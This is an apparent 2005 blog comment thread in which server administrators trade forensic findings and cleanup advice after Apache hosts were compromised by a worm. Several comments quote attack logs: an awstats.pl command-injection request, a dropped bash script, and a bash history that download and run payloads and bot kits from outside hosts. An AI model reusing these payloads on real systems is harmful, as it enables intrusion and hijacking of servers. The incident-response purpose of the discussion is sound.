Why I hate spammers so

by · December 18, 2005

Chris

Little bit Computer Junkie, Little bit pinball Junkie. Pretty much all around Geek.

You may also like...

13 Responses

  1. Craig says:
    December 18, 2005 at 5:26 pm

    We appreciate all you do, Chris. Mission.net would be dead without you.

  2. Rachel says:
    December 18, 2005 at 6:24 pm

    Holy crap! (I say this without any speck of sarcasm) You are freaking smart! Apparently I don’t know who I’m dealing with on this little blogosphere… Way to be part of the solution!

  3. Adam says:
    December 18, 2005 at 11:43 pm

    Thanks for keeping an eye out for mission.net. We couldn’t survive without you.

  4. Jouber Calixto says:
    December 19, 2005 at 5:17 am

    Woah! You are one smart fella. Thanks for helping us so much.

  5. jim nichols says:
    December 21, 2005 at 11:06 pm

    I have fought what seems to be almost the same issue all day. we feel sure that they compromised our apache server and somehow setup a scheduled job. In our cse they are using wget to ip address 209.136.48.69 and gets files named “d” (a binary) “qs” (binary) mirela (binary) and listen.log. These files then do the dirty work in the temp directory. It appears they start masssive ICMP traffic outbound. We could never locate the cron job that starts it. In our case we removed wget! for the time being. we also blocked many european networks via our router. We dont consider this resolved yet and some of your info is maybe above us i.e
    1. we couldnt find .access.log
    2. we couldnt find a cron job
    what are we missing? any ideas on where to look next. we dont wanna wipe the server feel free to reply!

  6. Chris says:
    December 22, 2005 at 9:20 am

    Jim.

    This sounds like the same exact yo yos. Look for awstats to be the entry point into the system.

    66.221.67.91 – – [16/Dec/2005:06:08:41 -0700] “GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| HTTP/1.1” 300 826 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)”

    Here you can see them chmoding the script so they can make it executable.

    Like you, then dropped a few bash scripts like so


    #!/bin/bash
    cd /tmp
    wget 216.15.209.12/pin
    chmod 744 pin
    ./pin
    wget 216.15.209.12/a
    chmod 744 a
    ./a

    This is a *Safe* bet since the http user only owns a few places on the filesystem, if they were to try one of those places, and fail, they wouldn’t get in. /tmp is almost always safe.

    The ICMP traffic is the clients the crackers sell to third party spammers. They connect to the mini http server that’s been started, and start generating mail. How very nice of them.

    First things I’d do on your host.

    Shutdown httpd

    lsof | grep httpuser

    httpuser being apache, www, or whatever you’ve named httpd’s user. This will let you know if they have additional processes still running. Kill the procceses ids of any additional processes.

    Move any software they’ve left to somewhere else, for later forensics.

    If there *are* additional processes, that means a cron has been setup, cron -u httpuser -l to see if there are any. Also check the at system.

    atq

    Let me know if you have further questions.

    This will give you a list of

  7. jim nichols says:
    December 23, 2005 at 8:25 am

    Christopher,

    First let me say I appreciate your responses and your blog. Thank you sir. Second let me say that I am a Novell CNE first, a Microsoft MCP second, and an administrator for a small ISP 3rd. I have had to learn Linux more in depth of late as my Linux administrator recently left my employ. In a way that’s good because I have found out he wasn’t very good. My firewall had more holes than a sponge so I have just dived in. Experience with ISA server cmomes in handy.

    We didn’t find any scheduled task or cron jobs but as we researched further we found that a windows 2003 server in our building on the same network had PHP 4.3.6 (which we upgraded to 4.4.1. We also upgraded the windows Perl to version to 5.8.7 build 15. Earlier this week we found the backdoor.usirf virus on it which also creates a file named listen.log and an executable named D that may be what started everything, After the Linux boxes seemed to be clean I revisited the windows box. Reviewing new files created or modified today on that box I found a log file named httpderr.log. In it I saw the following appearing repeatedly in the log file almost every second!

    Bad Request DefaultAppPool
    2005-12-22 20:03:16 84.246.224.179 57661 10.20.2.196 80 HTTP/1.1 POST /xmlsrv/xmlrpc.php 400 3 BadRequest DefaultAppPool
    2005-12-22 20:03:16 84.246.224.179 57693 10.20.2.204 80 HTTP/1.1 POST /xmlsrv/xmlrpc.php 400 27 BadRequest DefaultAppPool
    2005-12-22 20:03:17 84.246.224.179 58802 10.20.2.192 80 HTTP/1.1 POST /xmlrpc.php 400 – Hostname –
    2005-12-22 20:03:17 84.246.224.179 55989 10.20.2.200 80 HTTP/1.1 POST /phpgroupware/xmlrpc.php

    I feel that the old versions of PHP and Perl could have been the doorway and this file xmlrpc.php may be a key part of all this. The ip listed above is not ours and is also in a foreign country. Now here is what’s funny. This remote box is running SSH. Using putty we got a login prompt. I guess he is probably another victim like us as I would doubt a hacker to be so stupid. He has a myriad of open ports also.

    As we continue to fight through this a couple of thoughts come to mind.

    What can we do to wage war back on these people. My temptation is to buy another T1 or broadband connection and build a protected network and server just to attack back so that if I bring the spammer downs on me with DOS attacks I wont care or maybe I just log em or track em. It wouldn’t connected to my real stuff. I wonder how many allies I could get who might do the same.

  8. Chris says:
    December 25, 2005 at 8:16 am

    Jim,

    Based on that info, it looks like we were both being attacked by a variation of the Slapper Worm info is

    Here
    Here
    and
    Here

    First thing I’d say is either upgrade the packages on the Windows host, or remove xmlrpc.php from the hosts. Unless you are using a remote client to post to your software, it’s not going to do anything bad (that’s all xmlrpc.php does).

    As for the attacker, since this is a worm, he most likely is just another poor compromised host. most likely a linux host that isn’t watched all that much.

    As for waging a war. The best you can do is just make sure all your software is up to date. Attacking the attacker is shady at best. You can also start complaining to the ISPs of the hosts that are attacking you, which ought to shut down the hosts.

    Go to Google and look up “Honeypot Projects” if you’d just like to capture info about the crackers/spammers.

    Does that Help at all?

  9. Chris says:
    December 28, 2005 at 11:55 am

    Jouber: No problem.

  10. Chris says:
    December 29, 2005 at 9:45 am

    Oh and Adam and Rachel. It’s my job, somebody has to do it.

  11. Brendo says:
    December 30, 2005 at 11:46 am

    Yeah, he’s a genius. I recall one time in our High School Fortran class (yeah, that was worth the time) he almost got some kids kicked out of class. We were sending messages across the LAN to eachother (in DOS of course) and it was a big NO-NO to send messages to the classroom next door. Some hot shot kid thought he was “all that” and sent one. Of course the teachers were smarter than he was and could track who the message came from. Needless to say he got busted, but he still remained pretty full of himself. He was a punk and needed to be punked back. He was nothing but trouble all semester long. My brotha, Chris, or Hardy as I call him, one day decided to give this kid a little payback. So one day he sent a message to the other classroom. Busted. No, not Hardy, the punk kid. I said he’s a genius right? Yeah, well somehow he made the message show up like it came from the punk kid, so when the teachers tracked it, Hardy and I sat back and enjoyed the show. Oh man did that kid squirm! The teachers were smart, but Hardy… he was brilliant. Good thing he’s not on the darkside of the force. Oh yeah, and I am sure he’ll deny this, but I was there, and so was Darcy.

  12. Chris says:
    January 1, 2006 at 11:37 am

    You know Brendo, I don’t remember

    Any

    Of

    This

    hint. Hint. If I did anything like this, it was all theoretical. And it was the Stoner Kid, not the punk. (Also, it was I who found the way out of the network, and the messaging software, and how to manipulate the messaging software). Disclaimer: I was just a kid in High School. I was bored. I’ve learned better. – If I ever did this in the first place that is.

    And I forgot all about Darcy. A Little Blond girl programming Fortran. Who would have thought?

  13. Rony says:
    July 31, 2007 at 3:41 am

    I find the same yo-yos in /var/tmp/a/.
    They used a normal user account to login and wget to download the script.

    I found also this in /home/USER/.bash_history
    ———————————————-
    cd /var/tmp
    mkdir a
    cd a
    wget pakatosu.net/psy.tgz
    tar xvfz psy.tgz
    rm -rf psy.tgz
    cd .access.log/scripts
    rm -rf *
    cd .*.
    ./config TwT 31337
    ./fuck
    ./run
    cd /var/tmp
    cd a
    wget pakatosu.net/psy.tgz
    tar xvfz psy.tgz
    rm -rf psy.tgz
    cd .access.log/scripts
    rm -rf *
    cd .*.
    ./config Twt 8080
    ./fuck
    ./run
    ps x
    kill -9 27541
    kill -9 27521
    cd /var/tmp
    cd a
    wget CipryK.xhost.ro/Cipri/bot.tgz
    tar zxvf bot.tgz
    rm -rf bot.tgz
    cd bot
    ./bash
    ./bash
    —————————
    -Rony